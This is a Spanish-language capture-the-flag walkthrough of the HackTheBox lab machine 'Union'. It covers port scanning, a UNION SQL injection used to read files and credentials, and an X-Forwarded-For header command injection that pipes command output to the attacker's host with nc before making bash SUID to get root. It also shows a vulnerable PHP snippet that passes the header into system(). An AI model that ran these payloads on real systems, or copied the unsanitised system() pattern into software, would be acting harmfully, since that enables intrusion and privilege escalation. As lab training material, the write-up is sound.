¡Hola! Vamos a resolver de la máquina Union
de dificultad “Media” de la plataforma HackTheBox.
Técnicas Vistas:
- SQLI (SQL Injection) - UNION Injection
- SQLI - Read Files
- HTTP Header Command Injection - X-FORWARDED-FOR [RCE]
- Abusing sudoers privilege [Privilege Escalation]
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Union
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.128
PING 10.10.11.128 (10.10.11.128) 56(84) bytes of data.
64 bytes from 10.10.11.128: icmp_seq=1 ttl=63 time=38.3 ms
--- 10.10.11.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.334/38.334/38.334/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.128 -oG allPorts
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
nmap -sCV -p80 10.10.11.128 -oN targeted
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Observamos dominio passbolt.bolt.htb
. Lo agregamos a nuestro /etc/hosts
Reconocimiento Web
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
❯ whatweb http://10.10.11.128
http://10.10.11.128 [200 OK] Bootstrap[4.1.1], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.128], JQuery[3.2.1], Script, nginx[1.18.0]
Accedemos al servicio web por el puerto 80. Parece que estamos ante un panel que nos pide un nombre de player y posteriormente nos pide una flag
Empezamos probando las inyecciones típicas SQL pero parece tener un WAF que nos bloquea ciertas peticiones. Probamos con ' union select 1-- -
y observamos una respuesta diferente al resto, nos muestra el input en pantalla
Capturamos petición con BurpSuite y comenzamos a enumerar las bases de datos, tablas, etc..
Comenzamos enumerando todas las bases de datos existentes
Enumeramos tablas de la base de datos november
Enumeramos columnas de las dos tablas encontradas
Enumeramos contenido columna one
de la tabla flag
Enumeramos contenido de la columna player
de la tabla players
Con la flag obtenida podemos introducirla en la web y nos sale un mensaje que nuestra IP tiene acceso a SSH
Si realizamos nuevamente un escaneo de puertos abiertos esta vez veremos el puerto 22 abierto
1
2
3
4
5
6
7
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.128 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-14 16:54 CET
Initiating SYN Stealth Scan at 16:54
Scanning 10.10.11.128 [65535 ports]
Discovered open port 80/tcp on 10.10.11.128
Discovered open port 22/tcp on 10.10.11.128
Mediante el comando load_file
podemos mediante la inyección SQL, listar contenido de archivos de la máquina víctima. Listamos el contenido de /var/www/html/config.php
Accedemos por SSH con las credenciales obtenidas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ ssh uhc@10.10.11.128
The authenticity of host '10.10.11.128 (10.10.11.128)' can t be established.
ECDSA key fingerprint is SHA256:tT45oQAnI0hnOIQg3ZvtoS4RG00xhxxBJua12YRVv2g.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.128' (ECDSA) to the list of known hosts.
uhc@10.10.11.128 s password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-77-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Mon Nov 8 21:19:42 2021 from 10.10.14.8
Encontramos la flag en el directorio personal del usuario uhc
1
2
uhc@union:~$ cat user.txt
6614a9365173ab4de***************
Escalada Privilegios
Examinamos el contenido de /var/www/html/firewall.php
1
2
3
4
5
6
7
8
9
10
11
12
.
.
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
.
.
Vemos que en la variable ip
almacena el contenido de la cabecera HTTP_X_FORWARDED_FOR
, vamos a tratar de inyectar un comando ping
en la cabecera y nos ponemos en escuha de trazas ICMP
1
2
3
4
5
6
#MAQUINA VICTIMA
uhc@union:/var/www/html$ curl -s -X GET http://localhost/firewall.php -H "X-FORWARDED-FOR: 1.1.1.1; ping -c 1 10.10.14.34;" -H "Cookie: PHPSESSID=eitt0r81tmnh7pqlhai5hfvuuu"
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<!------ Include the above in your HEAD tag ---------->
1
2
3
4
5
6
#MAQUINA ATACANTE
❯ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:24:26.921917 IP 10.129.96.75 > 10.10.14.34: ICMP echo request, id 1, seq 1, length 64
17:24:26.921945 IP 10.10.14.34 > 10.129.96.75: ICMP echo reply, id 1, seq 1, length 64
Esta vez ejecutaremos un whoami
para saber ante qué usuario nos encontramos
1
2
#MAQUINA VICTIMA
uhc@union:/var/www/html$ curl -s -X GET http://localhost/firewall.php -H "X-FORWARDED-FOR: 1.1.1.1; whoami | nc 10.10.14.34 443;" -H "Cookie: PHPSESSID=eitt0r81tmnh7pqlhai5hfvuuu"
1
2
3
4
5
#MAQUINA ATACANTE
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.96.75] 54992
www-data
Listamos privilegios de sudoers del usuario www-data
1
2
#MAQUINA VICTIMA
uhc@union:/var/www/html$ curl -s -X GET http://localhost/firewall.php -H "X-FORWARDED-FOR: 1.1.1.1; sudo -l | nc 10.10.14.34 443;" -H "Cookie: PHPSESSID=eitt0r81tmnh7pqlhai5hfvuuu"
1
2
3
4
5
6
7
8
9
#MAQUINA ATACANTE
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.96.75] 54998
Matching Defaults entries for www-data on union:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on union:
(ALL : ALL) NOPASSWD: ALL
Como el usuario www-data
puede ejecutar todo con privilegio de sudo procedemos a asignar privilegio SUID a la bash
1
2
#MAQUINA VICTIMA
uhc@union:/var/www/html$ curl -s -X GET http://localhost/firewall.php -H "X-FORWARDED-FOR: 1.1.1.1;sudo chmod u+s /bin/bash | nc 10.10.14.34 443;" -H "Cookie: PHPSESSID=eitt0r81tmnh7pqlhai5hfvuuu"
Ya sólo nos queda acceder a una bash con privilegio de root mediante el comando bash -p
. La flag la encontramos en el directorio de root
1
2
3
4
5
6
uhc@union:/var/www/html$ ls -la /bin/bash-rwsr-xr-x 1 root root 1183448 Jun 18 2020 /bin/bash
uhc@union:/var/www/html$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
288c2f6c65861bc7d***************
Hemos completado la máquina Union de HackTheBox!! Happy Hacking!!